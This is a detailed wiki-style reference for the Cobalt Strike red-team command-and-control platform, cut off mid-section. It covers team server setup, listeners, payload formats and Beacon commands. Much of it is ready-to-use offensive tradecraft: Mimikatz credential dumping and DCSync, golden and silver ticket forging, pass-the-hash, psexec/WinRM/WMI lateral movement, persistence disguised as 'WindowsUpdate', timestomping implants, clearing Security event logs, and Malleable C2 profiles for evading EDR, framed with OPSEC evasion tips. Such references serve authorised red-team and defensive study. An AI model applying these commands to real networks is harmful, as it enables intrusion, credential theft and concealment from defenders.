ᛉ Yggdrasil

Tool references

Cobalt Strike Wiki

17 Sep 2026 · 10,035 words · 46 min

Contents

Developer: Raphael Mudge (@armitagehacker), now maintained by Fortra (formerly HelpSystems) Repo / Download: https://www.cobaltstrike.com (commercial license required) Description: Commercial adversary simulation and red team operations platform built around the Beacon implant License: Commercial — approximately $3,500 per user/year (2024 pricing) Docs: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/


Overview

Cobalt Strike is the commercial C2 platform that virtually every enterprise red team either uses or benchmarks against. It is built around Beacon — an asynchronous, feature-rich implant that communicates over HTTP, HTTPS, DNS, SMB named pipes, and TCP sockets. The platform provides a GUI client, team server, and an extensible scripting language (Aggressor Script / Sleep) that lets operators tailor every aspect of the tool to an engagement.

Key capabilities:

  • Malleable C2 — a domain-specific language for reprogramming Beacon's network indicators at the profile level, making traffic mimic arbitrary applications or known threat actors
  • Peer-to-peer Beacons (SMB & TCP) — chain Beacons through each other across network segments that have no direct egress, building arbitrarily complex pivot networks
  • Staged and stageless payloads — multiple output formats (EXE, DLL, shellcode, PowerShell, Python, VBA, HTA, etc.)
  • Aggressor Script — a Sleep-language scripting engine that hooks into every layer of the framework (payload generation, post-exploitation, UI, team events)
  • Arsenal Kit — modular C kits to replace the default Artifact loader, reflective loader (UDRL), sleep obfuscation (Sleepmask), and process injection techniques
  • Beacon Object Files (BOFs) — small compiled C programs that run directly inside the Beacon process (no fork/run, no new process)
  • Built-in post-exploitation — credential access via Mimikatz, token manipulation, UAC bypass, lateral movement (jump, remote-exec), SOCKS proxy, port forwarding, keylogging, screenshots, and more

Cobalt Strike is strictly a post-exploitation framework — it does not include a vulnerability exploitation engine. Initial access (phishing, exploit delivery) gets you to a Beacon; Cobalt Strike takes over from there.


Architecture

┌──────────────────────────────────────────────────────────┐
│               Cobalt Strike Client (GUI)                 │
│  Aggressor Scripts loaded here — Sleep language engine   │
│  Connects over SSL on port 50050 (default)               │
└───────────────────────┬──────────────────────────────────┘
                        │  SSL (operator connection)
                        ▼
┌──────────────────────────────────────────────────────────┐
│                  Team Server (Linux)                     │
│  ./teamserver <IP> <password> [malleable_profile]        │
│  Holds all session state, loot, credentials, logs        │
│  Listener jobs run here (HTTP/HTTPS/DNS/SMB/TCP)         │
└──────┬────────────────────────────────────────┬──────────┘
       │  HTTP/HTTPS egress C2                  │  DNS C2
       ▼                                        ▼
┌─────────────┐                        ┌─────────────────┐
│ Redirector  │ ← nginx/Apache/socat   │  NS Delegation  │
│ (VPS)       │   mod_rewrite rules    │  (public DNS)   │
└──────┬──────┘                        └────────┬────────┘
       │                                        │
       ▼                                        ▼
┌─────────────────────────────────────────────────────────┐
│            Beacon (implant on compromised host)         │
│  Asynchronous check-in / task retrieval                 │
│  Peer-to-peer links to other Beacons via SMB / TCP      │
└─────────────────────────────────────────────────────────┘

Components:

  • Team Server — Linux-only daemon that holds all state. Every listener, every session, all loot and credentials live here. Never run the team server directly accessible from the public internet without a redirector in front of it.
  • Client (GUI) — the Java-based operator UI. Multiple operators can connect simultaneously (multiplayer mode). Each operator gets their own console view and shared team event log.
  • Beacon — the implant. Uses an asynchronous "low and slow" communication pattern. Tasks are queued on the team server and retrieved by the Beacon on its next check-in interval. Outputs come back on the following check-in.
  • Listeners — server-side stagers and handlers. A listener tells Beacon how to phone home and tells the team server how to handle incoming connections.
  • Redirectors — separate VPS machines in front of the team server. All Beacon traffic hits the redirector, which proxies it through to the real team server. This hides the team server's real IP and allows traffic filtering.

Installation & Team Server Setup

The team server runs on Linux only. Operators connect from any OS with the Java client.

Requirements

  • Linux (Ubuntu 20.04/22.04 recommended)
  • Java 11+ (OpenJDK)
  • Valid Cobalt Strike license + cobaltstrike.jar download from Fortra's licensed portal

Initial Setup

# Unpack the distribution
tar -xzf cobaltstrike-dist.tgz
cd cobaltstrike/

# Download updates from Fortra's update server (requires license key)
./update

# Verify what was downloaded
ls -la
# -> teamserver    (bash launcher)
# -> cobaltstrike  (client launcher)
# -> agscript      (headless aggressor script runner)
# -> c2lint        (profile validator)
# -> ...

Starting the Team Server

# Basic startup (always run as root or with appropriate capability for port binding)
sudo ./teamserver <external_IP> <password>

# With a Malleable C2 profile (recommended for real engagements)
sudo ./teamserver <external_IP> <password> /path/to/your.profile

# With a kill date (Beacons generated during this session self-destruct after this date)
sudo ./teamserver <external_IP> <password> /path/to/your.profile 2025-12-31

# Example
sudo ./teamserver 203.0.113.10 "S3cur3P@ssw0rd!" /opt/profiles/jquery-c2.profile

Important: The <external_IP> is what gets baked into staged payloads as the callback address. For HTTPS listeners with a redirector in front, this is the redirector's IP or domain — not the team server's real IP.

Hardening the Team Server

# Bind the team server's operator port to localhost only, then SSH tunnel to it
# On the team server:
sudo ./teamserver 127.0.0.1 "password" /path/to/profile
# (listeners still bind to 0.0.0.0 for incoming Beacon connections)

# On the operator machine:
ssh -L 50050:127.0.0.1:50050 user@teamserver-ip
# Then connect the CS client to 127.0.0.1:50050

# iptables to restrict who can hit listener ports
iptables -A INPUT -p tcp --dport 443 -s <redirector_IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP

Connecting the Client

# GUI client (standard)
./cobaltstrike

# Then fill in:
# Host: <team server IP or 127.0.0.1 if SSH-tunneled>
# Port: 50050
# Username: <your operator alias — shown in team chat and logs>
# Password: <the password you set when starting teamserver>

On first connect, the client shows a SHA256 fingerprint of the server's SSL certificate. Verify this matches what the team server printed to stdout when it started — this prevents a MITM at the operator-to-server channel level.

# Headless Aggressor Script runner (run scripts without the GUI)
./agscript <host> <port> <user> <password> /path/to/script.cna

Listeners

Listeners define how Beacons phone home. You configure them from Cobalt Strike → Listeners in the GUI, or via Aggressor Script. Multiple listeners of different types can run simultaneously.

HTTP / HTTPS Listener

The most common choice. Traffic blends into normal web activity.

Cobalt Strike → Listeners → Add
  Name:        http_main
  Payload:     windows/beacon_http/reverse_http
                 OR
               windows/beacon_https/reverse_https
  HTTP Hosts:  <redirector_domain_or_IP>
  HTTP Port:   80 (or 443 for HTTPS)
  Beacons:     (leave blank unless you need a different check-in host)

Key fields:

Field Description
HTTP Hosts The callback address baked into staged payloads. Use your redirector domain.
HTTP Port (C2) Port Beacons check in on.
HTTP Port (Bind) Port the team server actually binds locally (can differ if behind a redirector).
HTTP Host (Stager) Address for staged payload delivery — can differ from C2 host.
Profile Select a Malleable C2 variant for this listener.
Guardrails Optional — restrict Beacon to only operate if user, PID, domain, or server IP match a condition.

DNS Listener

Tunnels C2 through DNS queries. Useful when HTTP/HTTPS egress is blocked but outbound DNS is permissive.

Payload:  windows/beacon_dns/reverse_dns_txt
  DNS Hosts:  <domain_you_control_NS_records_for>
  DNS Port:   53 (UDP)
  DNS Idle:   <IP to return when no task is pending — blend in with legit responses>
  DNS Stager: <subdomain prefix for staged payload delivery>
  DNS TXT Record: (check to use TXT records instead of A records — higher bandwidth)

DNS C2 setup requires you to own the domain and set an NS record pointing to your team server (or a socat/SSH DNS redirector):

# In your DNS zone:
c2ns.example.com.    IN   A      203.0.113.10    # team server or redirector
poll.c2.example.com. IN   NS     c2ns.example.com.

# Beacon's check-in format becomes:
# <encoded_data>.poll.c2.example.com  → A query
# Response: <encoded_task> encoded in DNS A record or TXT record

DNS beacon check-in interval is controlled by the maxdns (max DNS hostname length) and dns_sleep options in the profile.

SMB Beacon Listener

Not an egress listener — SMB Beacons are peer-to-peer only. They communicate with a parent (egress) Beacon via Windows named pipes over SMB. Used for lateral movement into hosts without direct internet access.

Payload:  windows/beacon_smb/bind_pipe
  Pipe Name:  <custom_pipe_name>    # default: msagent_XXXX — change this

The SMB Beacon waits for a parent Beacon to link to it. Named pipe name should be customized to match something plausible in the target environment (see pipename in the Malleable C2 stage block).

TCP Beacon Listener

Similar to SMB Beacon but uses a raw TCP socket instead of a named pipe. Useful when SMB is filtered or port 445 is restricted between internal hosts.

Payload:  windows/beacon_tcp/bind_tcp
  Port:   <local_port_the_TCP_beacon_binds>
  Loopback Only: ☐ (uncheck for cross-host connectivity)

Parent Beacon connects via connect <target> <port> instead of link.

External C2 Listener

Provides a REST API for integrating third-party channels (e.g. Slack, Twitter, custom protocols) into Cobalt Strike's architecture. Out of scope for a getting-started reference — see the External C2 specification in the official docs.


Payload Generation

Staged vs Stageless

This is the single most important payload decision.

Staged Stageless
On-disk size Small (a few KB) Full Beacon size (~200KB+)
On-wire behavior Fetches the real payload from the team server on first run Fully self-contained
Network exposure Creates a second connection to retrieve stage No extra stage retrieval request
OPSEC Stage request is a distinct IOC Better — no stage retrieval
AV/EDR evasion Easier to deliver (small dropper) Must embed and protect full payload
Use case Quick testing, phishing with size constraints Production engagements

Rule: In real engagements, prefer stageless ((S) variants in the GUI). Staged payloads leave an obvious stager connection pattern that defenders can detect.

Payload Formats

Generated from Attacks → Packages in the GUI:

Format Description
Windows Executable Staged EXE (.exe) — calls back to retrieve the full Beacon
Windows Executable (S) Stageless EXE — recommended for real use
Windows DLL Staged DLL (rundll32.exe DllMain style)
Windows DLL (S) Stageless DLL
Windows Shellcode Raw position-independent shellcode (staged)
Windows Shellcode (S) Raw PIC shellcode, stageless — inject into any loader
Windows Service EXE (S) Stageless EXE compiled as a Windows Service binary for psexec-style lateral movement
MS Office Macro VBA macro for Word/Excel delivery (staged by default)
HTML Application HTA file — runs via mshta.exe
PowerShell Command One-liner that downloads and stages a Beacon via IEX
PowerShell Web Delivery Hosts a one-liner server on the team server for quick delivery
Python Python stager (cross-platform delivery tool)

All payload generation can also be done via Aggressor Script (see artifact_payload, shellcode, powershell_import, etc.).

Attacks Menu

Attacks → Packages      → all payload format types above
Attacks → Web Drive-by  → Scripted Web Delivery (host a PowerShell/Python/bitsadmin one-liner)
                        → System Profiler (map client-side attack surface)
                        → Clone Site (clone a target's site for phishing)
                        → Manage (manage hosted content on the team server's built-in web server)
Attacks → Spear Phish   → craft and send phishing emails using a saved email template

Beacon Management

Session Table & GUI Views

View → Sessions          — table of all active Beacon sessions
View → Targets           — host-centric view (right-click targets to jump/interact)
Cobalt Strike → Visualization → Pivot Graph   — graphical peer-to-peer chain diagram
Cobalt Strike → Visualization → Session Table — same as View → Sessions

Session table columns:

Column Meaning
external IP the team server sees the Beacon coming from (may be redirector IP)
internal IP reported by the Beacon's host NIC
user USERNAME@HOSTNAME (red/lightning = elevated/admin)
computer NetBIOS hostname
note Operator-set note (right-click → Note)
listener Which listener this Beacon is using
pid Beacon's host process ID
last Seconds since last check-in

Right-click on a Beacon for the full context menu: Interact, Session, Access, Explore, Pivoting, Spawn, Note, Remove.

Beacon Console Basics

Double-click any session to open its Beacon console. Commands typed here are queued and execute on the Beacon's next check-in; output returns on the following check-in.

beacon> help                   # list all commands with brief description
beacon> help <command>         # detailed help for a specific command
beacon> sleep 30               # check in every 30 seconds
beacon> sleep 60 20            # check in every 60s with 20% jitter (range: 48–72s)
beacon> sleep 0                # interactive mode — check in as fast as possible
beacon> checkin                # force an immediate check-in (does not change sleep)
beacon> clear                  # cancel all pending queued tasks
beacon> jobs                   # list running background jobs (keylogger, screenshots, etc.)
beacon> jobkill <job_id>       # kill a specific background job
beacon> exit                   # terminate this Beacon (sends kill command to the implant)

Core Beacon Commands — Full Reference

Recon & Info

These are built-in native API commands — no process spawn, no cmd.exe. OPSEC-safe.

# Identity
getuid                      # Current user and domain (native API, no whoami spawn)
getpid                      # Beacon's own PID
getprivs                    # List current process privileges (uses OpenProcessToken)

# Host info
ps                          # List running processes with PID, PPID, user, session, arch
net localgroup              # Local groups
net localgroup administrators   # Members of local Administrators
net user                    # Local users
net domain                  # Domain name the host is joined to
net dclist                  # List domain controllers for the current domain
net share                   # List SMB shares on the local host
net view                    # Hosts visible in the current domain/workgroup
net computers               # Computers in the domain

# Network
ipconfig                    # Network interfaces and IPs (native, not shell ipconfig)
arp                         # ARP cache
route                       # Routing table

# File system info
drives                      # List available drives
ls [path]                   # List directory — defaults to current working directory
pwd                         # Print working directory

File System

ls [path]                   # List directory contents
cd <path>                   # Change directory
mkdir <path>                # Create directory
rm <path>                   # Remove file or directory
cp <src> <dst>              # Copy file
mv <src> <dst>              # Move/rename file

# File transfer
upload /local/path/file     # Upload file from operator machine to target
download <remote_path>      # Download file from target to operator machine
                            # (delivered to ~/cobaltstrike/downloads/)

# Timestamps
timestomp <target_file> <reference_file>   # Copy timestamps from reference → target

Process Control & Execution

# Command execution — choose carefully based on OPSEC requirements

# OPSEC WORST — spawns cmd.exe as child process
shell <command>             # Execute via cmd.exe /c <command>

# Better — spawns powershell.exe
powershell <command>        # Execute via powershell.exe -nop -w hidden -c <command>
powerpick <command>         # Execute PowerShell via unmanaged runspace (no powershell.exe spawn)

# OPSEC BEST — execute in-process via BOF (no new process)
inline-execute <bof_file> [args]    # Run a BOF directly in Beacon's memory

# Execute .NET assembly in Beacon's process (Fork & Run into spawnto process)
execute-assembly <local_path_to.exe> [args]

# Run a shell command and return output (fork & run)
run <command>               # Run a command without cmd.exe — arguments passed directly

# Process management
kill <PID>                  # Kill a process by PID
ppid <PID>                  # Set fake parent PID for all spawned processes (PPID spoofing)
                            # Use: ppid <PID_of_legit_process> then shell/powershell

# spawnto — controls what process "Fork & Run" uses for temporary jobs
spawnto x64 %windir%\sysnative\dllhost.exe
spawnto x86 %windir%\syswow64\dllhost.exe

# Spawn a new Beacon in a different process
spawn <listener>            # Spawn a new session via the configured spawnto process
spawnas DOMAIN\user password <listener>   # Spawn as another user (disk touch — runs EXE)
spawnu <PID> <listener>     # Spawn into the security context of another process (no creds needed)

# Inject shellcode into an existing process
inject <PID> x64 <listener>    # Inject a Beacon stager into a running process

Injection & In-Memory Execution

# Fork & Run (default for many post-ex commands)
# CS spawns a temp process (spawnto), injects a reflective DLL, runs it, kills it
# Noisy: creates process, may RWX memory; mitigated by customizing spawnto

# Explicit injection into a specific existing PID
shinject <PID> x64 /path/to/shellcode.bin   # inject raw shellcode into a running PID
shspawn x64 /path/to/shellcode.bin          # spawn a new process and inject shellcode

# PowerShell in-process (no powershell.exe)
psinject <PID> x64 <powershell_command>     # run PowerShell inside an existing process

# .NET assembly
execute-assembly /path/to/Assembly.exe [args]   # runs via Fork & Run (spawnto process)

# In-process shellcode (run in Beacon's own thread — stable but kills Beacon on crash)
# Use via: inline-execute <bof.o> [args]

# DLL injection
dllinject <PID> /path/to/dll.dll            # inject a DLL via WriteProcessMemory + CreateRemoteThread
dllload <PID> /path/on_target/dll.dll       # load a DLL that's already on disk on the target

OPSEC note on "Fork & Run": Any command that says "Spawns temporary process" in help output uses Fork & Run. This creates a process, injects a reflective DLL (RWX → RX memory), and kills it. Always verify spawnto is set to something plausible (dllhost.exe, gpupdate.exe) rather than the default rundll32.exe.

Credential Access

# Hash / password dump
hashdump                    # Dump local SAM hashes (Fork & Run → LSASS read via Mimikatz)
logonpasswords              # Mimikatz sekurlsa::logonpasswords — plaintext + NTLM from LSASS
                            # OPSEC: very loud; touches LSASS; triggers most AV/EDR

# Targeted LSASS access
mimikatz sekurlsa::logonpasswords   # full mimikatz invocation via Beacon's built-in loader
mimikatz lsadump::sam               # SAM database dump
mimikatz lsadump::dcsync /user:krbtgt /domain:corp.local   # DCSync for krbtgt
mimikatz lsadump::lsa /patch        # LSA secrets

# DCSync (no LSASS touch — uses domain replication APIs over the network)
dcsync [DOMAIN] [DOMAIN\user]       # Replicates target account's password data from a DC
                                    # Requires Domain Admin or equivalent; no touch on DC's LSASS

# Credentials view and management
credentials                 # View the team server's credential store (shared across operators)

Dumped credentials go into View → Credentials in the GUI and are shared across all connected operators.

Privilege Escalation

# Check current elevation
getuid                      # Shows if running as SYSTEM or if token is elevated

# GetSystem — several techniques to attempt SYSTEM from local admin
getsystem                   # Try all built-in GetSystem techniques
                            # Technique 1: Named pipe impersonation (service writes to pipe; Beacon impersonates)
                            # Technique 2: Token duplication from a SYSTEM process
                            # OPSEC: Creates a service; triggers SYSTEM_NAME pipe events

# UAC Bypass — spawns elevated session (user must be in Administrators group)
elevate uac-rpc-dom <listener>        # RPC/debug object UAC bypass — Windows 10 through 11 25H2
elevate uac-token-duplication <listener>   # Token duplication bypass
runasadmin uac-rpc-dom <command>      # Same bypass but runs a command instead of spawning session
runasadmin uac-token-duplication <command>

# Elevate Kit — load additional elevate modules via Aggressor Script
# Community elevate modules: EfsPotato, PrintSpoofer, RottenPotato variants, etc.
# After loading: elevate <module_name> <listener>

# Check if running high integrity
run whoami /groups | findstr /i "S-1-16-12288"   # High mandatory level = elevated

Token & Identity Manipulation

Token manipulation is Cobalt Strike's core mechanism for lateral movement — commands don't accept credentials directly; they use tokens.

# Steal a token from a running process
steal_token <PID>           # Impersonate the security token of a running process
                            # Requires process to be accessible; works without SeDebugPrivilege
                            # for same-user processes
rev2self                    # Revert to original token (undo steal_token / make_token)

# Create a token from credentials (network logon — does not change local context)
make_token DOMAIN\user password     # Creates a NETONLY logon session
                                    # Local commands still run as original user
                                    # Network authentication uses the new token
                                    # OPSEC: Event ID 4624 (type 9 = NewCredentials)

# Impersonate via credentials with a new process
runas DOMAIN\user password <command>   # Spawn command as a different user (disk touch — drops artifact)
spawnas DOMAIN\user password <listener>  # Spawn a Beacon as a different user

# Create sacrificial process as another user's security context (no creds — based on process token)
spawnu <PID> <listener>     # Spawn Beacon in the identity of the process at <PID>

# Pass-the-Hash
pth DOMAIN\user <NTLM_hash>         # Use Mimikatz to apply hash; creates new logon session
                                    # Spawns temp process + Mimikatz; Event ID 4624 type 9

# List current tokens and impersonation state
getuid                      # Shows which identity Beacon is running as

Kerberos Operations

# Import and use a Kerberos ticket (Pass-the-Ticket)
kerberos_ticket_use /path/to/ticket.kirbi    # Apply a .kirbi ticket to current logon session
kerberos_ccache_use /path/to/ticket.ccache   # Apply a Linux-format ccache ticket
kerberos_ticket_purge                        # Purge all Kerberos tickets in current session

# Generate tickets via Mimikatz (run within Beacon)
mimikatz kerberos::golden /user:Administrator /domain:corp.local \
  /sid:<domain_SID> /krbtgt:<krbtgt_NTLM> /id:500   # Golden ticket (krbtgt hash required)

mimikatz kerberos::silver /user:targetuser /domain:corp.local \
  /sid:<domain_SID> /target:targethost.corp.local \
  /service:cifs /rc4:<service_account_NTLM>          # Silver ticket

# Over-Pass-the-Hash (use hash to obtain a valid TGT, then use that for Kerberos auth)
mimikatz sekurlsa::pth /user:Administrator /ntlm:<hash> /domain:corp.local /run:powershell.exe

Lateral Movement

Lateral movement in Cobalt Strike uses the jump and remote-exec commands. These do not accept credentials directly — you must have an appropriate token set first (make_token, steal_token, or pth).

# List available jump modules
jump

# Typical output:
# psexec          x86  Use a service to run a payload on a target
# psexec64        x64  Use a service to run a payload on a target
# psexec_psh      x86  Use a PowerShell one-liner to run a payload on a target
# winrm           x86  Run a PowerShell script via WinRM to deploy a payload
# winrm64         x64  Run a PowerShell script via WinRM to deploy a payload
# wmi             x86  Use WMI to run a PowerShell script on a target
# wmi64           x64  Use WMI to run a PowerShell script on a target

# Jump — deploys and auto-links a Beacon on a remote host
jump psexec64 <target_hostname_or_IP> <listener_name>
jump winrm64 <target_hostname_or_IP> <listener_name>    # quieter — WinRM, Event ID 4624 type 3
jump wmi <target_hostname_or_IP> <listener_name>
jump psexec_psh <target_hostname_or_IP> <listener_name>  # PSExec via PowerShell one-liner, no EXE drop

# remote-exec — run a command on a remote host (no new session spawned)
remote-exec                 # list available modules
remote-exec psexec <target> <command>
remote-exec winrm <target> <command>
remote-exec wmi <target> <command>

# GUI-driven lateral movement
# View → Targets → right-click [target] → Jump → [select module]
# Fill in credentials/token choice + listener, press Launch

OPSEC comparison:

Module Mechanism Key Event IDs Noise Level
psexec Service creation + EXE drop to ADMIN$ 7045 (service install), 4697 Loudest
psexec_psh Service creation + PowerShell one-liner, no EXE 7045, 4697, 4688 (PowerShell) Loud
winrm WinRM (port 5985/5986) 4624 type 3, WinRM logs Moderate
wmi WMI execution (Win32_Process.Create) 4688, WMI-Activity Moderate
psexec (SMB Beacon) Same as psexec but payload is SMB Beacon 7045, 4697 Loudest

OPSEC tip: Prefer jump winrm64 over jump psexec64. Service creation (Event ID 7045) is one of the most-monitored lateral movement indicators in mature SOC environments.

Peer-to-Peer Pivoting (SMB & TCP Beacons)

SMB and TCP Beacons don't egress to the internet — they talk to a parent Beacon, which relays to the team server. This is how you reach hosts in network segments without direct internet access.

SMB Pivot Architecture:
┌──────────────────────────────────────────────────┐
│  TEAM SERVER  ◄──── HTTPS ────  HOST A (parent)  │
│                                    │              │
│                           named pipe (SMB)        │
│                                    │              │
│                               HOST B (peer)       │
│                               (no egress needed)  │
└──────────────────────────────────────────────────┘
# Step 1: Lateral move to HOST B with an SMB Beacon payload
jump psexec64 hostB smb_listener
# ^ Cobalt Strike auto-links the SMB Beacon for you in most cases

# Step 2: If you deployed the SMB Beacon manually, link it from a parent Beacon
beacon> link hostB                          # auto-detect pipe name from listener
beacon> link hostB \\.\pipe\custom_pipename  # specify pipe name if custom

# Step 3: Check the Pivot Graph
# Cobalt Strike → Visualization → Pivot Graph
# Orange arrow = named pipe (SMB) connection
# Green dashed = HTTP/HTTPS egress

# Step 4: Interact with the linked Beacon (appears in session table)

# Delink (doesn't kill — puts SMB Beacon in a waiting state)
beacon> unlink hostB <PID>          # PID = the SMB Beacon's process ID
# Later re-link from any Beacon in the same CS instance
beacon> link hostB

# TCP Beacon (works the same but with TCP socket instead of named pipe)
jump psexec64 hostB tcp_listener
beacon> connect hostB <port>        # manual connection to a waiting TCP Beacon
beacon> unlink hostB <PID>          # same unlink mechanic

# Kill a peer Beacon completely
beacon> (in child beacon) exit

Caveats:

  • SMB Beacons require port 445 to be open between the parent and child host
  • You can only link Beacons managed by the same Cobalt Strike instance
  • Error 5 (access denied) when linking → your current token doesn't have rights to the pipe; use make_token or steal_token first then retry link
  • Once a Beacon becomes a peer (SMB/TCP), it cannot switch back to HTTP/DNS egress. If you need HTTP egress from that host, spawn a new separate Beacon with a different listener type

Network Pivoting (SOCKS & Port Forwarding)

For routing your own tools (nmap, impacket, CrackMapExec) through a Beacon into the internal network.

# SOCKS4a proxy (older — widely supported by proxychains)
socks 1080                  # Start SOCKS4a proxy on team server, port 1080
socks stop                  # Stop it

# SOCKS5 proxy (newer, more features)
socks 1080 socks5           # Start SOCKS5 on port 1080
socks 1080 socks5 enableNoAuth                 # No auth (default)
socks 1080 socks5 userpass <username> <pass>   # With authentication

# Check active SOCKS proxies
socks                       # (no args) — list active proxies

# Port forwarding — forward a specific port
# rportfwd: bind a port on the TARGET, forward it back to the team server → anywhere
rportfwd <bind_port_on_target> <fwd_host> <fwd_port>
# Example: bind port 8080 on the target, forward to 192.168.1.5:80
rportfwd 8080 192.168.1.5 80

# rportfwd_local: forward to the operator machine rather than team server
rportfwd_local <bind_port_on_target> <fwd_host> <fwd_port>

# List and stop port forwards
rportfwd                    # list active forwards
rportfwd stop <bind_port>   # stop a specific forward
# Use SOCKS proxy with your tools:
# /etc/proxychains4.conf:
socks4  127.0.0.1  1080     # SOCKS4a, or:
socks5  127.0.0.1  1080     # SOCKS5

proxychains nmap -sT -Pn -p 445,80,443,3389,22 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24 -u admin -H <NTLM>
proxychains impacket-secretsdump CORP/admin@192.168.1.10
proxychains evil-winrm -i 192.168.1.10 -u admin -p 'password'
proxychains xfreerdp /u:admin /p:password /v:192.168.1.10

Persistence

Cobalt Strike itself doesn't include built-in persistence modules — they're typically handled via Aggressor Script extensions, BOFs, or manual shell commands. Common patterns:

# Registry Run key (via shell)
shell reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
  /v "WindowsUpdate" /t REG_SZ /d "C:\ProgramData\agent.exe" /f

# Scheduled task (via shell)
shell schtasks /create /tn "WindowsUpdate" /tr "C:\ProgramData\agent.exe" \
  /sc onlogon /ru SYSTEM /f

# Service (via shell)
shell sc create WindowsUpdate binPath= "C:\ProgramData\agent.exe" start= auto
shell sc start WindowsUpdate

# WMI subscription (requires domain admin or elevated)
shell powershell Set-WMIInstance -Class __EventFilter ...   # (standard WMI persistence)

# Persistence via Aggressor/BOF extensions:
# elevatekit, persistence-aggressor-script, SharPersist (execute-assembly)
execute-assembly /opt/SharPersist/SharPersist.exe \
  -t reg -c "C:\ProgramData\agent.exe" -n "WindowsUpdate" -m add

Registry Operations

# Query a registry key
reg query HKLM\System\CurrentControlSet\Services

# Query a specific value
reg queryv HKLM\Software\Microsoft\Windows\CurrentVersion\Run "program_name"

# Write a value (via shell or powershell — no native beacon reg write command)
shell reg add HKLM\path\to\key /v ValueName /t REG_SZ /d "value" /f

Timestomping & Cover Tracks

# Copy timestamps from a reference file to a target file
timestomp <target_file> <reference_file>
# Example — make an uploaded implant look as old as notepad.exe
timestomp C:\ProgramData\implant.exe C:\Windows\System32\notepad.exe

# Clear event log (via shell — loud, but sometimes needed)
shell wevtutil cl System
shell wevtutil cl Security
shell wevtutil cl Application
shell wevtutil cl "Microsoft-Windows-PowerShell/Operational"

Beacon Housekeeping

sleep <seconds> [jitter%]   # Set check-in interval and optional jitter percentage
                            # sleep 0 = interactive (poll as fast as possible)
                            # sleep 60 20 = 60s ±20% (range: 48–72s)

checkin                     # Immediate check-in without changing the sleep timer
clear                       # Cancel all pending queued tasks

# PPID spoofing — all processes spawned by Beacon will appear to have this parent
ppid <PID>                  # Set fake parent PID (pick a believable process, e.g. explorer.exe)
ppid 0                      # Reset to default (no PPID spoofing)

# Process name injection point override
spawnto x64 %windir%\sysnative\dllhost.exe
spawnto x86 %windir%\syswow64\dllhost.exe

# Blocking dlls / ETW patching
blockdlls start             # Block non-Microsoft-signed DLLs from loading into Fork & Run processes
blockdlls stop

# Environment / config
setenv <var> <value>        # Set an environment variable
getenv                      # Get environment variables
note <text>                 # Set an operator note on this session (visible in session table)

# Network / session ops
jobs                        # List running jobs (keylogger, screenshot, etc.)
jobkill <job_id>            # Kill a running job
exit                        # Terminate Beacon

Malleable C2 Profiles

A Malleable C2 profile is loaded at team server startup and controls Beacon's:

  • Network traffic appearance (HTTP headers, URIs, cookies, encoding)
  • In-memory characteristics (PE headers, stage evasion)
  • Process injection behavior
  • Post-exploitation spawned process settings

Only one profile per team server instance. You cannot hot-swap it — changing the profile requires restarting the team server. Existing Beacons stop working because they have the old profile baked in.

Profile Structure

# Global options — apply to everything
set sleeptime "60000";      # Default sleep in ms (60s)
set jitter     "20";        # Jitter percentage
set maxdns     "255";       # Max DNS hostname length for DNS beacon
set useragent  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set pipename   "mojo.5688.8052.183894939787088877";   # Default SMB pipe name (CHANGE THIS)
set tcp_port   "4444";      # Default TCP Beacon port

# HTTP check-in behavior
http-get {
    set uri "/search";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Host" "www.google.com";
        metadata {
            base64url;
            parameter "q";      # Beacon ID/session metadata goes in ?q= parameter
        }
    }

    server {
        header "Content-Type" "text/html";
        output {
            base64;
            print;             # Encoded task goes in the response body
        }
    }
}

# HTTP post (Beacon sends task output back to team server)
http-post {
    set uri "/collect";

    client {
        header "Content-Type" "application/x-www-form-urlencoded";
        id {
            parameter "sid";   # Beacon ID in POST parameter
        }
        output {
            base64url;
            parameter "data";  # Task output in POST body parameter
        }
    }

    server {
        header "Content-Type" "text/html";
        output {
            print;
        }
    }
}

Key Global Options

Option Default Description
sleeptime 60000 Check-in interval in milliseconds
jitter 0 Jitter percentage applied to sleeptime
useragent MSIE UA User-Agent header for HTTP(S) Beacons
pipename random SMB named pipe name — always change this
pipename_stager random Named pipe for SMB stager
tcp_port 4444 Default TCP Beacon bind port
maxdns 255 Max DNS hostname length
dns_idle 0.0.0.0 IP returned when Beacon has no task (DNS mode)
dns_sleep 0 Extra sleep between DNS check-ins (ms)
host_stage true Host payload stage on team server's web server
obfuscate false Obfuscate Beacon's in-memory strings
cleanup false (4.9+) Clean up post-ex UDRL memory after load
library wininet (4.9+) HTTP library — wininet or winhttp

http-get / http-post Blocks

The core transformation language uses a stack of data transforms applied in order. Each statement pops data off the top of a virtual stack and pushes a transformed version:

Transform Direction Effect
base64 encode/decode Base64 encode/decode
base64url encode/decode URL-safe Base64
base32 encode/decode Base32 encode/decode
netbios encode/decode NetBIOS name encoding
netbiosu encode/decode Uppercase NetBIOS
prepend "string" prepend Prepend literal string
append "string" append Append literal string
mask encode XOR+Base64

Termination statements (where the data lands):

Statement Usage
print Writes data to the HTTP body
header "Name" Places data in an HTTP header
parameter "name" Places data in a query string parameter
uri-append Appends data to the URI

stage Block (In-Memory Evasion)

Controls what Beacon's PE headers look like after it loads into memory — critical for evading in-memory scanners.

stage {
    set userwx           "false";     # Don't use RWX memory — use RW then RX (better)
    set cleanup          "true";      # Remove reflective loader from memory after load
    set sleep_mask       "true";      # Enable sleep obfuscation (requires Sleepmask Kit)
    set stomppe          "true";      # Stomp PE headers after loading
    set obfuscate        "true";      # XOR the Beacon payload while staging
    set smartinject      "true";      # Use PIC address for Beacon's base address in memory
    set allocator        "HeapAlloc"; # Memory allocator: HeapAlloc, MapViewOfFile, VirtualAlloc

    # Spoof PE headers to look like a legitimate DLL
    transform-x64 {
        strrep "ReflectiveLoader" "";   # Remove this string from the binary
        strrep "beacon.dll" "";
    }
    transform-x86 {
        strrep "ReflectiveLoader" "";
    }

    # Specify a DLL whose headers Beacon will copy (looks like a real DLL in memory)
    set module_x64 "xpsservices.dll";
    set module_x86 "xpsservices.dll";

    # Process to spawnto for Fork & Run operations
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
}

process-inject Block

Controls how Beacon performs process injection for remote process operations.

process-inject {
